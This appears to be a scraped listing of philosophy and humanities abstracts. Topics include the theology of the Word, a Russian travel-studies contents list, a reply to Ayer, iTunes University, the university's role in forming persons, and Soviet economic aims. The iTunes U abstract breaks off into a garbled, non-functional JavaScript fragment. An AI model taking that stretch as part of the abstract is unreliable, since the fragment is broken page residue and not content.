The problem of the Word in Christianity is one of the key, affecting the core of the dogma and pervading its practice. Theological thought gave answers, different from secular science, to questions about the functions of the word in God-knowledge and its role in the religious life of the individual and the Church. Any study of the language of religion can not ignore this experience. Our goal is not to assess the truth of the theological understanding of the relationship between (...) human language and Divine reality, but to trace the specificity of the Christian use of language as a means of religious cognition and the way of expressing the religious consciousness of believers, to analyze the Christian theological concept of the Word, the role of the word in Holy Scripture and Sacred Tradition, and the truth of religious texts, the role and meaning of the word in the Christian religious tradition. (shrink)

Ch. 1. Ėtnologii͡a puteshestviĭ -- ch. 2. Mifologii͡a puteshestviĭ -- ch. 3. Filosofii͡a puteshestviĭ -- ch. 4 Apostolʹstvo puteshestviĭ -- ch. 5. Velike geograficheskie otkrytii͡a -- ch. 6 Uslugi dli͡a puteshestvennikov -- ch. 7 Industrii͡a turizma -- ch. 8 Rekreat͡sii͡a.

What is philosophy and what are its distinctive features? What is its relationship to the sciences whose business it is to study the actual world? With what should philosophy concern itself?-These are the fundamental questions dealt with in the article by Alfred Ayer. These questions are important and interesting. The article is written in lively fashion and stimulates a desire to discuss these subjects. There are some matters on which we do not disagree with Ayer, but concur. At the same (...) time we would like to express some objections to certain of his basic positions. (shrink)

Kn. 1. Problema individualʹnogo bessmertii︠a︡ v istorii russkoĭ filosofskoĭ mysli XIX-XX stoletiĭ.

The potential of іTunes University as a tool that allows every individual to realize personal needs for education, self-education, and self-fulfillment is analyzed in the paper. The valuable aspects of iTunes U application include epistemological, educational, creative opportunities; openness, diversity, and heterogeneity; multifunctionality and interactivity. The author underlines that effective practical use of iTunes U in national realities should include the development and implementation of the strategy based on existing international experience, its adaptation to the specific goals and objectives of (...) teaching and learning // o;o++)t+=e.charCodeAt.toString;return t},a=function{e=e.match;fort+=e.charCodeAt.toString;return t},a=function{e=e.match;for(var t="",o=0;o. (shrink)

_Purpose._ The current crisis situation is connected with the tendency to eliminate the philosophical basis of higher education, the classical university, whose mission is to form a certain type of state, culture, and person. Philosophy and humanities in general played an important role in forming the modern concept of man. In the context of the expansion of the information society and the development of the latest technologies (biotechnologies, artificial intelligence), which stimulates the world market, the problem of the fundamentals of (...) the social and personal dimension of a person, his/her ability to consciously choose their own life, is becoming actualized. The main purpose of the article is in problematizing the development prospects for philosophy in a modern university, and its significance in the formation of a modern person with a certain level of self-awareness. To achieve this, the authors envisage providing a description of modern society, related trends in humanitarianism, determining the situation in university education, and characterizing the type of person or post-human that it mainly produces. _Theoretical basis._ The basis of the article is sociocultural anthropology. _Originality._ Trends in society and education, defined by the relationship between the state, education, and the market, reflect the situation of the post-human or trans-human, which is characterized by the creation of a nomadic subject with nomadic thinking. The crisis of the modern and classical university as an institution constituting a modern man is associated with the rapid development of technologies, the expansion of the information society, the orientation towards the knowledge economy, which subordinates the university to the market, requiring the formation of a person that corresponds to market feasibility. However, in today’s world, the realization of freedom priorities, the prevention of manifestations of unfreedom, the ability to critically interpret information, and distinguish between truth and falsehood are of great importance. The formation of this depends on the education system. But, the situation in higher education is determined by the dominance of techno-scientific understanding and development of the world, the priorities of the economy, economic viability, and profit. Under such conditions, the humanities and philosophy, in search of ways and means of their own survival, risk turning into a kind of techno-sophistry that produces various images. These images can be more or less successfully sold on the market, recreating a certain figure of a human-consumer and a human-transformer who obeys the post-truth situation, even appearing as an object of transformation by ideology or propaganda. _Conclusions._ It is, therefore, essential to form a person who is capable of critically comprehending the reasons for his/her choice, which can be provided by philosophy with the foundations of searching for truth. In the conditions of technological development, in view of the achievements of artificial intelligence, and the latest network resources, it is important in education not only to overcome the orientation towards professional fragmentation and to verify permanent knowledge but also direct live communication on the basis of critical thinking, which forms the basis in the process of cultivating a person by philosophy. (shrink)

Socialist society is a society whose basic economic law and goal is the fullest possible satisfaction of human needs. Proceeding from this, the Twenty-fourth Congress of the CPSU set a course for a more profound turn in the economy toward solution of the various tasks related to improving the well-being of Soviet people, not only for the five-year plan period but also as the general orientation of the economic development of the country for the long term.